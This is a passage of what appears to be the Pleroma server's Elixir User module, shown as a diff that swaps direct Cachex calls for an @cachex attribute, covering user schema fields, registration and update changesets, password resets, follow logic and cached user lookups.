	field(:is_moderator, :boolean, default: false)
	field(:is_admin, :boolean, default: false)
	field(:show_role, :boolean, default: true)
	field(:mastofe_settings, :map, default: nil)
	field(:uri, ObjectValidators.Uri, default: nil)
	field(:hide_followers_count, :boolean, default: false)
	field(:hide_follows_count, :boolean, default: false)
	field(:hide_followers, :boolean, default: false)
	field(:hide_follows, :boolean, default: false)
	field(:hide_favorites, :boolean, default: true)
	field(:pinned_activities, {:array, :string}, default: [])
	field(:email_notifications, :map, default: %{"digest" => false})
	field(:mascot, :map, default: nil)
	field(:emoji, :map, default: %{})
	field(:pleroma_settings_store, :map, default: %{})
	field(:fields, {:array, :map}, default: [])
	field(:raw_fields, {:array, :map}, default: [])
	field(:is_discoverable, :boolean, default: false)
	field(:invisible, :boolean, default: false)
	field(:allow_following_move, :boolean, default: true)
	field(:skip_thread_containment, :boolean, default: false)
	field(:actor_type, :string, default: "Person")
	field(:also_known_as, {:array, :string}, default: [])
	field(:inbox, :string)
	field(:shared_inbox, :string)
	field(:accepts_chat_messages, :boolean, default: nil)

	embeds_one(
	:notification_settings,
	Pleroma.User.NotificationSetting,
	on_replace: :update
	)

	has_many(:notifications, Notification)
	has_many(:registrations, Registration)
	has_many(:deliveries, Delivery)

	has_many(:outgoing_relationships, UserRelationship, foreign_key: :source_id)
	has_many(:incoming_relationships, UserRelationship, foreign_key: :target_id)

	for {relationship_type,
	[
	{outgoing_relation, outgoing_relation_target},
	{incoming_relation, incoming_relation_source}
	]} <- @user_relationships_config do
	# Definitions of `has_many` relations: :blocker_blocks, :muter_mutes, :reblog_muter_mutes,
	# :notification_muter_mutes, :subscribee_subscriptions
	has_many(outgoing_relation, UserRelationship,
	foreign_key: :source_id,
	where: [relationship_type: relationship_type]
	)

	# Definitions of `has_many` relations: :blockee_blocks, :mutee_mutes, :reblog_mutee_mutes,
	# :notification_mutee_mutes, :subscriber_subscriptions
	has_many(incoming_relation, UserRelationship,
	foreign_key: :target_id,
	where: [relationship_type: relationship_type]
	)

	# Definitions of `has_many` relations: :blocked_users, :muted_users, :reblog_muted_users,
	# :notification_muted_users, :subscriber_users
	has_many(outgoing_relation_target, through: [outgoing_relation, :target])

	# Definitions of `has_many` relations: :blocker_users, :muter_users, :reblog_muter_users,
	# :notification_muter_users, :subscribee_users
	has_many(incoming_relation_source, through: [incoming_relation, :source])
	end

	# `:blocks` is deprecated (replaced with `blocked_users` relation)
	field(:blocks, {:array, :string}, default: [])
	# `:mutes` is deprecated (replaced with `muted_users` relation)
	field(:mutes, {:array, :string}, default: [])
	# `:muted_reblogs` is deprecated (replaced with `reblog_muted_users` relation)
	field(:muted_reblogs, {:array, :string}, default: [])
	# `:muted_notifications` is deprecated (replaced with `notification_muted_users` relation)
	field(:muted_notifications, {:array, :string}, default: [])
	# `:subscribers` is deprecated (replaced with `subscriber_users` relation)
	field(:subscribers, {:array, :string}, default: [])

	embeds_one(
	:multi_factor_authentication_settings,
	MFA.Settings,
	on_replace: :delete
	)

	timestamps()
	end

	for {_relationship_type, [{_outgoing_relation, outgoing_relation_target}, _]} <-
	@user_relationships_config do
	# `def blocked_users_relation/2`, `def muted_users_relation/2`,
	# `def reblog_muted_users_relation/2`, `def notification_muted_users/2`,
	# `def subscriber_users/2`
	def unquote(:"#{outgoing_relation_target}_relation")(user, restrict_deactivated? \\ false) do
	target_users_query = assoc(user, unquote(outgoing_relation_target))

	if restrict_deactivated? do
	restrict_deactivated(target_users_query)
	else
	target_users_query
	end
	end

	# `def blocked_users/2`, `def muted_users/2`, `def reblog_muted_users/2`,
	# `def notification_muted_users/2`, `def subscriber_users/2`
	def unquote(outgoing_relation_target)(user, restrict_deactivated? \\ false) do
	__MODULE__
	\|> apply(unquote(:"#{outgoing_relation_target}_relation"), [
	user,
	restrict_deactivated?
	])
	\|> Repo.all()
	end

	# `def blocked_users_ap_ids/2`, `def muted_users_ap_ids/2`, `def reblog_muted_users_ap_ids/2`,
	# `def notification_muted_users_ap_ids/2`, `def subscriber_users_ap_ids/2`
	def unquote(:"#{outgoing_relation_target}_ap_ids")(user, restrict_deactivated? \\ false) do
	__MODULE__
	\|> apply(unquote(:"#{outgoing_relation_target}_relation"), [
	user,
	restrict_deactivated?
	])
	\|> select([u], u.ap_id)
	\|> Repo.all()
	end
	end

	def cached_blocked_users_ap_ids(user) do
	- Cachex.fetch!(:user_cache, "blocked_users_ap_ids:#{user.ap_id}", fn _ ->
	+ @cachex.fetch!(:user_cache, "blocked_users_ap_ids:#{user.ap_id}", fn _ ->
	blocked_users_ap_ids(user)
	end)
	end

	def cached_muted_users_ap_ids(user) do
	- Cachex.fetch!(:user_cache, "muted_users_ap_ids:#{user.ap_id}", fn _ ->
	+ @cachex.fetch!(:user_cache, "muted_users_ap_ids:#{user.ap_id}", fn _ ->
	muted_users_ap_ids(user)
	end)
	end

	defdelegate following_count(user), to: FollowingRelationship
	defdelegate following(user), to: FollowingRelationship
	defdelegate following?(follower, followed), to: FollowingRelationship
	defdelegate following_ap_ids(user), to: FollowingRelationship
	defdelegate get_follow_requests(user), to: FollowingRelationship
	defdelegate search(query, opts \\ []), to: User.Search

	@doc """
	Dumps Flake Id to SQL-compatible format (16-byte UUID).
	E.g. "9pQtDGXuq4p3VlcJEm" -> <<0, 0, 1, 110, 179, 218, 42, 92, 213, 41, 44, 227, 95, 213, 0, 0>>
	"""
	def binary_id(source_id) when is_binary(source_id) do
	with {:ok, dumped_id} <- FlakeId.Ecto.CompatType.dump(source_id) do
	dumped_id
	else
	_ -> source_id
	end
	end

	def binary_id(source_ids) when is_list(source_ids) do
	Enum.map(source_ids, &binary_id/1)
	end

	def binary_id(%User{} = user), do: binary_id(user.id)

	@doc "Returns status account"
	@spec account_status(User.t()) :: account_status()
	def account_status(%User{deactivated: true}), do: :deactivated
	def account_status(%User{password_reset_pending: true}), do: :password_reset_pending
	def account_status(%User{local: true, approval_pending: true}), do: :approval_pending

	def account_status(%User{local: true, confirmation_pending: true}) do
	if Config.get([:instance, :account_activation_required]) do
	:confirmation_pending
	else
	:active
	end
	end

	def account_status(%User{}), do: :active

	@spec visible_for(User.t(), User.t() \| nil) ::
	:visible
	\| :invisible
	\| :restricted_unauthenticated
	\| :deactivated
	\| :confirmation_pending
	def visible_for(user, for_user \\ nil)

	def visible_for(%User{invisible: true}, _), do: :invisible

	def visible_for(%User{id: user_id}, %User{id: user_id}), do: :visible

	def visible_for(%User{} = user, nil) do
	if restrict_unauthenticated?(user) do
	:restrict_unauthenticated
	else
	visible_account_status(user)
	end
	end

	def visible_for(%User{} = user, for_user) do
	if superuser?(for_user) do
	:visible
	else
	visible_account_status(user)
	end
	end

	def visible_for(_, _), do: :invisible

	defp restrict_unauthenticated?(%User{local: true}) do
	Config.restrict_unauthenticated_access?(:profiles, :local)
	end

	defp restrict_unauthenticated?(%User{local: _}) do
	Config.restrict_unauthenticated_access?(:profiles, :remote)
	end

	defp visible_account_status(user) do
	status = account_status(user)

	if status in [:active, :password_reset_pending] do
	:visible
	else
	status
	end
	end

	@spec superuser?(User.t()) :: boolean()
	def superuser?(%User{local: true, is_admin: true}), do: true
	def superuser?(%User{local: true, is_moderator: true}), do: true
	def superuser?(_), do: false

	@spec invisible?(User.t()) :: boolean()
	def invisible?(%User{invisible: true}), do: true
	def invisible?(_), do: false

	def avatar_url(user, options \\ []) do
	case user.avatar do
	%{"url" => [%{"href" => href} \| _]} ->
	href

	_ ->
	unless options[:no_default] do
	Config.get([:assets, :default_user_avatar], "#{Web.base_url()}/images/avi.png")
	end
	end
	end

	def banner_url(user, options \\ []) do
	case user.banner do
	%{"url" => [%{"href" => href} \| _]} -> href
	_ -> !options[:no_default] && "#{Web.base_url()}/images/banner.png"
	end
	end

	# Should probably be renamed or removed
	def ap_id(%User{nickname: nickname}), do: "#{Web.base_url()}/users/#{nickname}"

	def ap_followers(%User{follower_address: fa}) when is_binary(fa), do: fa
	def ap_followers(%User{} = user), do: "#{ap_id(user)}/followers"

	@spec ap_following(User.t()) :: String.t()
	def ap_following(%User{following_address: fa}) when is_binary(fa), do: fa
	def ap_following(%User{} = user), do: "#{ap_id(user)}/following"

	@spec restrict_deactivated(Ecto.Query.t()) :: Ecto.Query.t()
	def restrict_deactivated(query) do
	from(u in query, where: u.deactivated != ^true)
	end

	defp truncate_fields_param(params) do
	if Map.has_key?(params, :fields) do
	Map.put(params, :fields, Enum.map(params[:fields], &truncate_field/1))
	else
	params
	end
	end

	defp truncate_if_exists(params, key, max_length) do
	if Map.has_key?(params, key) and is_binary(params[key]) do
	{value, _chopped} = String.split_at(params[key], max_length)
	Map.put(params, key, value)
	else
	params
	end
	end

	defp fix_follower_address(%{follower_address: _, following_address: _} = params), do: params

	defp fix_follower_address(%{nickname: nickname} = params),
	do: Map.put(params, :follower_address, ap_followers(%User{nickname: nickname}))

	defp fix_follower_address(params), do: params

	def remote_user_changeset(struct \\ %User{local: false}, params) do
	bio_limit = Config.get([:instance, :user_bio_length], 5000)
	name_limit = Config.get([:instance, :user_name_length], 100)

	name =
	case params[:name] do
	name when is_binary(name) and byte_size(name) > 0 -> name
	_ -> params[:nickname]
	end

	params =
	params
	\|> Map.put(:name, name)
	\|> Map.put_new(:last_refreshed_at, NaiveDateTime.utc_now())
	\|> truncate_if_exists(:name, name_limit)
	\|> truncate_if_exists(:bio, bio_limit)
	\|> truncate_fields_param()
	\|> fix_follower_address()

	struct
	\|> cast(
	params,
	[
	:bio,
	:emoji,
	:ap_id,
	:inbox,
	:shared_inbox,
	:nickname,
	:public_key,
	:avatar,
	:ap_enabled,
	:banner,
	:is_locked,
	:last_refreshed_at,
	:uri,
	:follower_address,
	:following_address,
	:hide_followers,
	:hide_follows,
	:hide_followers_count,
	:hide_follows_count,
	:follower_count,
	:fields,
	:following_count,
	:is_discoverable,
	:invisible,
	:actor_type,
	:also_known_as,
	:accepts_chat_messages
	]
	)
	\|> cast(params, [:name], empty_values: [])
	\|> validate_required([:ap_id])
	\|> validate_required([:name], trim: false)
	\|> unique_constraint(:nickname)
	\|> validate_format(:nickname, @email_regex)
	\|> validate_length(:bio, max: bio_limit)
	\|> validate_length(:name, max: name_limit)
	\|> validate_fields(true)
	\|> validate_non_local()
	end

	defp validate_non_local(cng) do
	local? = get_field(cng, :local)

	if local? do
	cng
	\|> add_error(:local, "User is local, can't update with this changeset.")
	else
	cng
	end
	end

	def update_changeset(struct, params \\ %{}) do
	bio_limit = Config.get([:instance, :user_bio_length], 5000)
	name_limit = Config.get([:instance, :user_name_length], 100)

	struct
	\|> cast(
	params,
	[
	:bio,
	:raw_bio,
	:name,
	:emoji,
	:avatar,
	:public_key,
	:inbox,
	:shared_inbox,
	:is_locked,
	:no_rich_text,
	:default_scope,
	:banner,
	:hide_follows,
	:hide_followers,
	:hide_followers_count,
	:hide_follows_count,
	:hide_favorites,
	:allow_following_move,
	:background,
	:show_role,
	:skip_thread_containment,
	:fields,
	:raw_fields,
	:pleroma_settings_store,
	:is_discoverable,
	:actor_type,
	:also_known_as,
	:accepts_chat_messages
	]
	)
	\|> unique_constraint(:nickname)
	\|> validate_format(:nickname, local_nickname_regex())
	\|> validate_length(:bio, max: bio_limit)
	\|> validate_length(:name, min: 1, max: name_limit)
	\|> validate_inclusion(:actor_type, ["Person", "Service"])
	\|> put_fields()
	\|> put_emoji()
	\|> put_change_if_present(:bio, &{:ok, parse_bio(&1, struct)})
	\|> put_change_if_present(:avatar, &put_upload(&1, :avatar))
	\|> put_change_if_present(:banner, &put_upload(&1, :banner))
	\|> put_change_if_present(:background, &put_upload(&1, :background))
	\|> put_change_if_present(
	:pleroma_settings_store,
	&{:ok, Map.merge(struct.pleroma_settings_store, &1)}
	)
	\|> validate_fields(false)
	end

	defp put_fields(changeset) do
	if raw_fields = get_change(changeset, :raw_fields) do
	raw_fields =
	raw_fields
	\|> Enum.filter(fn %{"name" => n} -> n != "" end)

	fields =
	raw_fields
	\|> Enum.map(fn f -> Map.update!(f, "value", &parse_fields(&1)) end)

	changeset
	\|> put_change(:raw_fields, raw_fields)
	\|> put_change(:fields, fields)
	else
	changeset
	end
	end

	defp parse_fields(value) do
	value
	\|> Formatter.linkify(mentions_format: :full)
	\|> elem(0)
	end

	defp put_emoji(changeset) do
	emojified_fields = [:bio, :name, :raw_fields]

	if Enum.any?(changeset.changes, fn {k, _} -> k in emojified_fields end) do
	bio = Emoji.Formatter.get_emoji_map(get_field(changeset, :bio))
	name = Emoji.Formatter.get_emoji_map(get_field(changeset, :name))

	emoji = Map.merge(bio, name)

	emoji =
	changeset
	\|> get_field(:raw_fields)
	\|> Enum.reduce(emoji, fn x, acc ->
	Map.merge(acc, Emoji.Formatter.get_emoji_map(x["name"] <> x["value"]))
	end)

	put_change(changeset, :emoji, emoji)
	else
	changeset
	end
	end

	defp put_change_if_present(changeset, map_field, value_function) do
	with {:ok, value} <- fetch_change(changeset, map_field),
	{:ok, new_value} <- value_function.(value) do
	put_change(changeset, map_field, new_value)
	else
	_ -> changeset
	end
	end

	defp put_upload(value, type) do
	with %Plug.Upload{} <- value,
	{:ok, object} <- ActivityPub.upload(value, type: type) do
	{:ok, object.data}
	end
	end

	def update_as_admin_changeset(struct, params) do
	struct
	\|> update_changeset(params)
	\|> cast(params, [:email])
	\|> delete_change(:also_known_as)
	\|> unique_constraint(:email)
	\|> validate_format(:email, @email_regex)
	\|> validate_inclusion(:actor_type, ["Person", "Service"])
	end

	@spec update_as_admin(User.t(), map()) :: {:ok, User.t()} \| {:error, Changeset.t()}
	def update_as_admin(user, params) do
	params = Map.put(params, "password_confirmation", params["password"])
	changeset = update_as_admin_changeset(user, params)

	if params["password"] do
	reset_password(user, changeset, params)
	else
	User.update_and_set_cache(changeset)
	end
	end

	def password_update_changeset(struct, params) do
	struct
	\|> cast(params, [:password, :password_confirmation])
	\|> validate_required([:password, :password_confirmation])
	\|> validate_confirmation(:password)
	\|> put_password_hash()
	\|> put_change(:password_reset_pending, false)
	end

	@spec reset_password(User.t(), map()) :: {:ok, User.t()} \| {:error, Changeset.t()}
	def reset_password(%User{} = user, params) do
	reset_password(user, user, params)
	end

	def reset_password(%User{id: user_id} = user, struct, params) do
	multi =
	Multi.new()
	\|> Multi.update(:user, password_update_changeset(struct, params))
	\|> Multi.delete_all(:tokens, OAuth.Token.Query.get_by_user(user_id))
	\|> Multi.delete_all(:auth, OAuth.Authorization.delete_by_user_query(user))

	case Repo.transaction(multi) do
	{:ok, %{user: user} = _} -> set_cache(user)
	{:error, _, changeset, _} -> {:error, changeset}
	end
	end

	def update_password_reset_pending(user, value) do
	user
	\|> change()
	\|> put_change(:password_reset_pending, value)
	\|> update_and_set_cache()
	end

	def force_password_reset_async(user) do
	BackgroundWorker.enqueue("force_password_reset", %{"user_id" => user.id})
	end

	@spec force_password_reset(User.t()) :: {:ok, User.t()} \| {:error, Ecto.Changeset.t()}
	def force_password_reset(user), do: update_password_reset_pending(user, true)

	# Used to auto-register LDAP accounts which won't have a password hash stored locally
	def register_changeset_ldap(struct, params = %{password: password})
	when is_nil(password) do
	params = Map.put_new(params, :accepts_chat_messages, true)

	params =
	if Map.has_key?(params, :email) do
	Map.put_new(params, :email, params[:email])
	else
	params
	end

	struct
	\|> cast(params, [
	:name,
	:nickname,
	:email,
	:accepts_chat_messages
	])
	\|> validate_required([:name, :nickname])
	\|> unique_constraint(:nickname)
	\|> validate_exclusion(:nickname, Config.get([User, :restricted_nicknames]))
	\|> validate_format(:nickname, local_nickname_regex())
	\|> put_ap_id()
	\|> unique_constraint(:ap_id)
	\|> put_following_and_follower_address()
	end

	def register_changeset(struct, params \\ %{}, opts \\ []) do
	bio_limit = Config.get([:instance, :user_bio_length], 5000)
	name_limit = Config.get([:instance, :user_name_length], 100)
	reason_limit = Config.get([:instance, :registration_reason_length], 500)
	params = Map.put_new(params, :accepts_chat_messages, true)

	need_confirmation? =
	if is_nil(opts[:need_confirmation]) do
	Config.get([:instance, :account_activation_required])
	else
	opts[:need_confirmation]
	end

	need_approval? =
	if is_nil(opts[:need_approval]) do
	Config.get([:instance, :account_approval_required])
	else
	opts[:need_approval]
	end

	struct
	\|> confirmation_changeset(need_confirmation: need_confirmation?)
	\|> approval_changeset(need_approval: need_approval?)
	\|> cast(params, [
	:bio,
	:raw_bio,
	:email,
	:name,
	:nickname,
	:password,
	:password_confirmation,
	:emoji,
	:accepts_chat_messages,
	:registration_reason
	])
	\|> validate_required([:name, :nickname, :password, :password_confirmation])
	\|> validate_confirmation(:password)
	\|> unique_constraint(:email)
	\|> validate_format(:email, @email_regex)
	\|> validate_change(:email, fn :email, email ->
	valid? =
	Config.get([User, :email_blacklist])
	\|> Enum.all?(fn blacklisted_domain ->
	!String.ends_with?(email, ["@" <> blacklisted_domain, "." <> blacklisted_domain])
	end)

	if valid?, do: [], else: [email: "Invalid email"]
	end)
	\|> unique_constraint(:nickname)
	\|> validate_exclusion(:nickname, Config.get([User, :restricted_nicknames]))
	\|> validate_format(:nickname, local_nickname_regex())
	\|> validate_length(:bio, max: bio_limit)
	\|> validate_length(:name, min: 1, max: name_limit)
	\|> validate_length(:registration_reason, max: reason_limit)
	\|> maybe_validate_required_email(opts[:external])
	\|> put_password_hash
	\|> put_ap_id()
	\|> unique_constraint(:ap_id)
	\|> put_following_and_follower_address()
	end

	def maybe_validate_required_email(changeset, true), do: changeset

	def maybe_validate_required_email(changeset, _) do
	if Config.get([:instance, :account_activation_required]) do
	validate_required(changeset, [:email])
	else
	changeset
	end
	end

	defp put_ap_id(changeset) do
	ap_id = ap_id(%User{nickname: get_field(changeset, :nickname)})
	put_change(changeset, :ap_id, ap_id)
	end

	defp put_following_and_follower_address(changeset) do
	followers = ap_followers(%User{nickname: get_field(changeset, :nickname)})

	changeset
	\|> put_change(:follower_address, followers)
	end

	defp autofollow_users(user) do
	candidates = Config.get([:instance, :autofollowed_nicknames])

	autofollowed_users =
	User.Query.build(%{nickname: candidates, local: true, deactivated: false})
	\|> Repo.all()

	follow_all(user, autofollowed_users)
	end

	defp autofollowing_users(user) do
	candidates = Config.get([:instance, :autofollowing_nicknames])

	User.Query.build(%{nickname: candidates, local: true, deactivated: false})
	\|> Repo.all()
	\|> Enum.each(&follow(&1, user, :follow_accept))

	{:ok, :success}
	end

	@doc "Inserts provided changeset, performs post-registration actions (confirmation email sending etc.)"
	def register(%Ecto.Changeset{} = changeset) do
	with {:ok, user} <- Repo.insert(changeset) do
	post_register_action(user)
	end
	end

	def post_register_action(%User{confirmation_pending: true} = user) do
	with {:ok, _} <- try_send_confirmation_email(user) do
	{:ok, user}
	end
	end

	def post_register_action(%User{approval_pending: true} = user) do
	with {:ok, _} <- send_user_approval_email(user),
	{:ok, _} <- send_admin_approval_emails(user) do
	{:ok, user}
	end
	end

	def post_register_action(%User{approval_pending: false, confirmation_pending: false} = user) do
	with {:ok, user} <- autofollow_users(user),
	{:ok, _} <- autofollowing_users(user),
	{:ok, user} <- set_cache(user),
	{:ok, _} <- send_welcome_email(user),
	{:ok, _} <- send_welcome_message(user),
	{:ok, _} <- send_welcome_chat_message(user) do
	{:ok, user}
	end
	end

	defp send_user_approval_email(user) do
	user
	\|> Pleroma.Emails.UserEmail.approval_pending_email()
	\|> Pleroma.Emails.Mailer.deliver_async()

	{:ok, :enqueued}
	end

	defp send_admin_approval_emails(user) do
	all_superusers()
	\|> Enum.filter(fn user -> not is_nil(user.email) end)
	\|> Enum.each(fn superuser ->
	superuser
	\|> Pleroma.Emails.AdminEmail.new_unapproved_registration(user)
	\|> Pleroma.Emails.Mailer.deliver_async()
	end)

	{:ok, :enqueued}
	end

	def send_welcome_message(user) do
	if User.WelcomeMessage.enabled?() do
	User.WelcomeMessage.post_message(user)
	{:ok, :enqueued}
	else
	{:ok, :noop}
	end
	end

	def send_welcome_chat_message(user) do
	if User.WelcomeChatMessage.enabled?() do
	User.WelcomeChatMessage.post_message(user)
	{:ok, :enqueued}
	else
	{:ok, :noop}
	end
	end

	def send_welcome_email(%User{email: email} = user) when is_binary(email) do
	if User.WelcomeEmail.enabled?() do
	User.WelcomeEmail.send_email(user)
	{:ok, :enqueued}
	else
	{:ok, :noop}
	end
	end

	def send_welcome_email(_), do: {:ok, :noop}

	@spec try_send_confirmation_email(User.t()) :: {:ok, :enqueued \| :noop}
	def try_send_confirmation_email(%User{confirmation_pending: true, email: email} = user)
	when is_binary(email) do
	if Config.get([:instance, :account_activation_required]) do
	send_confirmation_email(user)
	{:ok, :enqueued}
	else
	{:ok, :noop}
	end
	end

	def try_send_confirmation_email(_), do: {:ok, :noop}

	@spec send_confirmation_email(Uset.t()) :: User.t()
	def send_confirmation_email(%User{} = user) do
	user
	\|> Pleroma.Emails.UserEmail.account_confirmation_email()
	\|> Pleroma.Emails.Mailer.deliver_async()

	user
	end

	def needs_update?(%User{local: true}), do: false

	def needs_update?(%User{local: false, last_refreshed_at: nil}), do: true

	def needs_update?(%User{local: false} = user) do
	NaiveDateTime.diff(NaiveDateTime.utc_now(), user.last_refreshed_at) >= 86_400
	end

	def needs_update?(_), do: true

	@spec maybe_direct_follow(User.t(), User.t()) :: {:ok, User.t()} \| {:error, String.t()}

	# "Locked" (self-locked) users demand explicit authorization of follow requests
	def maybe_direct_follow(%User{} = follower, %User{local: true, is_locked: true} = followed) do
	follow(follower, followed, :follow_pending)
	end

	def maybe_direct_follow(%User{} = follower, %User{local: true} = followed) do
	follow(follower, followed)
	end

	def maybe_direct_follow(%User{} = follower, %User{} = followed) do
	if not ap_enabled?(followed) do
	follow(follower, followed)
	else
	{:ok, follower, followed}
	end
	end

	@doc "A mass follow for local users. Respects blocks in both directions but does not create activities."
	@spec follow_all(User.t(), list(User.t())) :: {atom(), User.t()}
	def follow_all(follower, followeds) do
	followeds
	\|> Enum.reject(fn followed -> blocks?(follower, followed) \|\| blocks?(followed, follower) end)
	\|> Enum.each(&follow(follower, &1, :follow_accept))

	set_cache(follower)
	end

	def follow(%User{} = follower, %User{} = followed, state \\ :follow_accept) do
	deny_follow_blocked = Config.get([:user, :deny_follow_blocked])

	cond do
	followed.deactivated ->
	{:error, "Could not follow user: #{followed.nickname} is deactivated."}

	deny_follow_blocked and blocks?(followed, follower) ->
	{:error, "Could not follow user: #{followed.nickname} blocked you."}

	true ->
	FollowingRelationship.follow(follower, followed, state)
	end
	end

	def unfollow(%User{ap_id: ap_id}, %User{ap_id: ap_id}) do
	{:error, "Not subscribed!"}
	end

	@spec unfollow(User.t(), User.t()) :: {:ok, User.t(), Activity.t()} \| {:error, String.t()}
	def unfollow(%User{} = follower, %User{} = followed) do
	case do_unfollow(follower, followed) do
	{:ok, follower, followed} ->
	{:ok, follower, Utils.fetch_latest_follow(follower, followed)}

	error ->
	error
	end
	end

	@spec do_unfollow(User.t(), User.t()) :: {:ok, User.t(), User.t()} \| {:error, String.t()}
	defp do_unfollow(%User{} = follower, %User{} = followed) do
	case get_follow_state(follower, followed) do
	state when state in [:follow_pending, :follow_accept] ->
	FollowingRelationship.unfollow(follower, followed)

	nil ->
	{:error, "Not subscribed!"}
	end
	end

	@doc "Returns follow state as Pleroma.FollowingRelationship.State value"
	def get_follow_state(%User{} = follower, %User{} = following) do
	following_relationship = FollowingRelationship.get(follower, following)
	get_follow_state(follower, following, following_relationship)
	end

	def get_follow_state(
	%User{} = follower,
	%User{} = following,
	following_relationship
	) do
	case {following_relationship, following.local} do
	{nil, false} ->
	case Utils.fetch_latest_follow(follower, following) do
	%Activity{data: %{"state" => state}} when state in ["pending", "accept"] ->
	FollowingRelationship.state_to_enum(state)

	_ ->
	nil
	end

	{%{state: state}, _} ->
	state

	{nil, _} ->
	nil
	end
	end

	def locked?(%User{} = user) do
	user.is_locked \|\| false
	end

	def get_by_id(id) do
	Repo.get_by(User, id: id)
	end

	def get_by_ap_id(ap_id) do
	Repo.get_by(User, ap_id: ap_id)
	end

	def get_all_by_ap_id(ap_ids) do
	from(u in __MODULE__,
	where: u.ap_id in ^ap_ids
	)
	\|> Repo.all()
	end

	def get_all_by_ids(ids) do
	from(u in __MODULE__, where: u.id in ^ids)
	\|> Repo.all()
	end

	# This is mostly an SPC migration fix. This guesses the user nickname by taking the last part
	# of the ap_id and the domain and tries to get that user
	def get_by_guessed_nickname(ap_id) do
	domain = URI.parse(ap_id).host
	name = List.last(String.split(ap_id, "/"))
	nickname = "#{name}@#{domain}"

	get_cached_by_nickname(nickname)
	end

	def set_cache({:ok, user}), do: set_cache(user)
	def set_cache({:error, err}), do: {:error, err}

	def set_cache(%User{} = user) do
	- Cachex.put(:user_cache, "ap_id:#{user.ap_id}", user)
	- Cachex.put(:user_cache, "nickname:#{user.nickname}", user)
	- Cachex.put(:user_cache, "friends_ap_ids:#{user.nickname}", get_user_friends_ap_ids(user))
	+ @cachex.put(:user_cache, "ap_id:#{user.ap_id}", user)
	+ @cachex.put(:user_cache, "nickname:#{user.nickname}", user)
	+ @cachex.put(:user_cache, "friends_ap_ids:#{user.nickname}", get_user_friends_ap_ids(user))
	{:ok, user}
	end

	def update_and_set_cache(struct, params) do
	struct
	\|> update_changeset(params)
	\|> update_and_set_cache()
	end

	def update_and_set_cache(changeset) do
	with {:ok, user} <- Repo.update(changeset, stale_error_field: :id) do
	set_cache(user)
	end
	end

	def get_user_friends_ap_ids(user) do
	from(u in User.get_friends_query(user), select: u.ap_id)
	\|> Repo.all()
	end

	@spec get_cached_user_friends_ap_ids(User.t()) :: [String.t()]
	def get_cached_user_friends_ap_ids(user) do
	- Cachex.fetch!(:user_cache, "friends_ap_ids:#{user.ap_id}", fn _ ->
	+ @cachex.fetch!(:user_cache, "friends_ap_ids:#{user.ap_id}", fn _ ->
	get_user_friends_ap_ids(user)
	end)
	end

	def invalidate_cache(user) do
	- Cachex.del(:user_cache, "ap_id:#{user.ap_id}")
	- Cachex.del(:user_cache, "nickname:#{user.nickname}")
	- Cachex.del(:user_cache, "friends_ap_ids:#{user.ap_id}")
	- Cachex.del(:user_cache, "blocked_users_ap_ids:#{user.ap_id}")
	- Cachex.del(:user_cache, "muted_users_ap_ids:#{user.ap_id}")
	+ @cachex.del(:user_cache, "ap_id:#{user.ap_id}")
	+ @cachex.del(:user_cache, "nickname:#{user.nickname}")
	+ @cachex.del(:user_cache, "friends_ap_ids:#{user.ap_id}")
	+ @cachex.del(:user_cache, "blocked_users_ap_ids:#{user.ap_id}")
	+ @cachex.del(:user_cache, "muted_users_ap_ids:#{user.ap_id}")
	end

	@spec get_cached_by_ap_id(String.t()) :: User.t() \| nil
	def get_cached_by_ap_id(ap_id) do
	key = "ap_id:#{ap_id}"

	- with {:ok, nil} <- Cachex.get(:user_cache, key),
	+ with {:ok, nil} <- @cachex.get(:user_cache, key),
	user when not is_nil(user) <- get_by_ap_id(ap_id),
	- {:ok, true} <- Cachex.put(:user_cache, key, user) do
	+ {:ok, true} <- @cachex.put(:user_cache, key, user) do
	user
	else
	{:ok, user} -> user
	nil -> nil
	end
	end

	def get_cached_by_id(id) do
	key = "id:#{id}"

	ap_id =
	- Cachex.fetch!(:user_cache, key, fn _ ->
	+ @cachex.fetch!(:user_cache, key, fn _ ->
	user = get_by_id(id)

	if user do
	- Cachex.put(:user_cache, "ap_id:#{user.ap_id}", user)
	+ @cachex.put(:user_cache, "ap_id:#{user.ap_id}", user)
	{:commit, user.ap_id}
	else
	{:ignore, ""}
	end
	end)

	get_cached_by_ap_id(ap_id)
	end

	def get_cached_by_nickname(nickname) do
	key = "nickname:#{nickname}"

	- Cachex.fetch!(:user_cache, key, fn ->
	+ @cachex.fetch!(:user_cache, key, fn _ ->
	case get_or_fetch_by_nickname(nickname) do
	{:ok, user} -> {:commit, user}
	{:error, _error} -> {:ignore, nil}
	end
	end)
	end

	def get_cached_by_nickname_or_id(nickname_or_id, opts \\ []) do
	restrict_to_local = Config.get([:instance, :limit_to_local_content])

	cond do
	is_integer(nickname_or_id) or FlakeId.flake_id?(nickname_or_id) ->
	get_cached_by_id(nickname_or_id) \|\| get_cached_by_nickname(nickname_or_id)

	restrict_to_local == false or not String.contains?(nickname_or_id, "@") ->
	get_cached_by_nickname(nickname_or_id)

	restrict_to_local == :unauthenticated and match?(%User{}, opts[:for]) ->
	get_cached_by_nickname(nickname_or_id)

	true ->
	nil
	end
	end

	@spec get_by_nickname(String.t()) :: User.t() \| nil
	def get_by_nickname(nickname) do
	Repo.get_by(User, nickname: nickname) \|\|
	if Regex.match?(~r(@#{Pleroma.Web.Endpoint.host()})i, nickname) do
	Repo.get_by(User, nickname: local_nickname(nickname))
	end
	end

	def get_by_email(email), do: Repo.get_by(User, email: email)

	def get_by_nickname_or_email(nickname_or_email) do
	get_by_nickname(nickname_or_email) \|\| get_by_email(nickname_or_email)
	end

	def fetch_by_nickname(nickname), do: ActivityPub.make_user_from_nickname(nickname)

	def get_or_fetch_by_nickname(nickname) do
	with %User{} = user <- get_by_nickname(nickname) do
	{:ok, user}
	else
	_e ->
	with [_nick, _domain] <- String.split(nickname, "@"),
	{:ok, user} <- fetch_by_nickname(nickname) do
	{:ok, user}
	else
	_e -> {:error, "not found " <> nickname}
	end
	end
	end

	@spec get_followers_query(User.t(), pos_integer() \| nil) :: Ecto.Query.t()
	def get_followers_query(%User{} = user, nil) do
	User.Query.build(%{followers: user, deactivated: false})
	end

	def get_followers_query(%User{} = user, page) do
	user
	\|> get_followers_query(nil)
	\|> User.Query.paginate(page, 20)
	end

	@spec get_followers_query(User.t()) :: Ecto.Query.t()
	def get_followers_query(%User{} = user), do: get_followers_query(user, nil)

	@spec get_followers(User.t(), pos_integer() \| nil) :: {:ok, list(User.t())}
	def get_followers(%User{} = user, page \\ nil) do
	user
	\|> get_followers_query(page)
	\|> Repo.all()
	end

